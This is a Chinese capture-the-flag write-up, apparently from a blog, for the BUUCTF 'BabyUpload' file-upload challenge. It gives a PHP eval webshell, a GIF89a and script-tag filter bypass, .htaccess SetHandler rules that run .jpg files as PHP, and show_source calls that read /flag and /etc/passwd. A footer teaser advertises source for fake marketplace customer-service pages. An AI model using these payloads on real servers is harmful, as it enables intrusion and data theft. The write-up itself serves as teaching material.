BUUCTF——[GXYCTF2019]BabyUpload

embedded/2024/9/24 15:18:17/

BUUCTF——[GXYCTF2019]BabyUpload

1.上传嘛,直接丢正常的jpg文件进服务器
在这里插入图片描述
2.发现可以正常上传,并且回显出来啦文件上传的路径
/var/www/html/upload/7df22610744ec51e9cb7a8a8eb674374/1111.jpg

3.尝试上传一句话木马

<?php @eval($POST[123456]);?>

在这里插入图片描述

4.通过上面的回显可以看出来,检测到了php文件,尝试文件头进行绕过

GIF89a

<?php @eval($POST[123456]);?>

在这里插入图片描述

5.还是不得行,推测使用了<?php标签进行检测,尝试绕过
GIF89a
<script language="php">eval($_REQUEST[8])</script>

在这里插入图片描述

6.发现可以成功上传,尝试修改后缀名php,php3,php5,phtml
在这里插入图片描述

7.发现后缀名不能有ph,中间还尝试php%00,发现php版本过高不得行,发现可以上传.user.ini,尝试.user.ini绕过

auto_prepend_file=555.jpg

在这里插入图片描述
8.发现是可以上传的,但是呢无法解析,后面试了.htaccess发现可以,使用.htaccess可以成功getshell

.htaccess文件内容

SetHandler application/x-httpd-php

在这里插入图片描述

9.上传文件,文件内容为

GIF89a
<script language="php">eval($_REQUEST[8])</script>

在这里插入图片描述

10.成功getshell
在这里插入图片描述

11.蚁剑死活连接不上,太致命啦,重启了靶机,重新上传.htaccess

<FilesMatch "jpg">SetHandler application/x-httpd-php</FilesMatch>

在这里插入图片描述

12.重新上传木马文件,还是连接不上

GIF89a
<script language="php">eval($_REQUEST[8])</script>

在这里插入图片描述

13.通过报错信息,发现禁用了系统函数
在这里插入图片描述
14.只能另辟蹊径啦,使用其他函数
show_source()函数

8=show_source('/flag',false);

在这里插入图片描述

15.成功读取文件信息

8=show_source('/etc/passwd',false);

在这里插入图片描述
在这里插入图片描述


http://www.ppmy.cn/embedded/11123.html

相关文章

20240418,运算载重符(根本写不对后置递增)

被整的有点EMO了&#xff0c;还好还好&#xff0c;我是懂怎么怎么让&#xff08;表现出&#xff09;相同观点的人说出我想听的话的 目录 4.1 加号 0.1 通过成员函数重载 0.2 通过全局函数重载 0.3 运算符重载也可以发生函数重载 4.2 左移 4.3 递增~递减~ 01. 两个成员变…

51-41 Stable Video Diffusion,高质量视频生成新时代

23年11月&#xff0c;Stability AI公司公开了稳定视频扩散模型Stable Video Diffusion(SVD)的代码和权重&#xff0c;视频生成迎来了新时代。SVD是一种潜在扩散模型&#xff0c;支持文本生成视频、图像生成视频以及物体多视角3D合成。从工程角度来看&#xff0c;本文主要提出了…

记录一下我hive连不上DataGrip的问题

用户名和密码都没问题&#xff0c;但报如下这个错误&#xff08;确保你的metastore和hiveserver2都是启动的&#xff0c;其次hdfs和yarn也是启动的&#xff09; 原因&#xff1a;是因为我在linux上没启hiveserver2服务 解决&#xff1a; [atguiguhadoop102 hadoop]$ …

milvus querynode启动源码分析

querynode启动源码分析 结构体 // QueryNode implements QueryNode grpc server // cmd\components\query_node.go type QueryNode struct {ctx context.Contextsvr *grpcquerynode.Server }// Server is the grpc server of QueryNode. type Server struct {querynode typ…

ECA-Net:深度卷积神经网络中的高效通道注意力机制【原理讲解及代码!!!】

ECA-Net&#xff1a;深度卷积神经网络中的高效通道注意力机制 在深度学习领域&#xff0c;特别是在深度卷积神经网络&#xff08;DCNN&#xff09;中&#xff0c;注意力机制已经成为提升模型性能的关键技术之一。其中&#xff0c;ECA模块&#xff08;Efficient Channel Attent…

基于Python大数据的微博舆情分析,微博评论情感分析可视化系统

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

交易猫、闲鱼、转转圈号客服台V4-V5源码

新增转转订单客服、闲鱼。各种反炸客服&#xff0c;更换了UI&#xff01;

服务器感染了.360勒索病毒,如何确保数据文件完整恢复?

引言&#xff1a; 随着信息技术的快速发展&#xff0c;网络安全问题日益突出&#xff0c;其中勒索病毒成为了网络安全的一大威胁。在众多勒索病毒中&#xff0c;.360勒索病毒以其独特的传播方式和恶意行为引起了广泛关注。本文将介绍.360勒索病毒的特点&#xff0c;并探讨有效…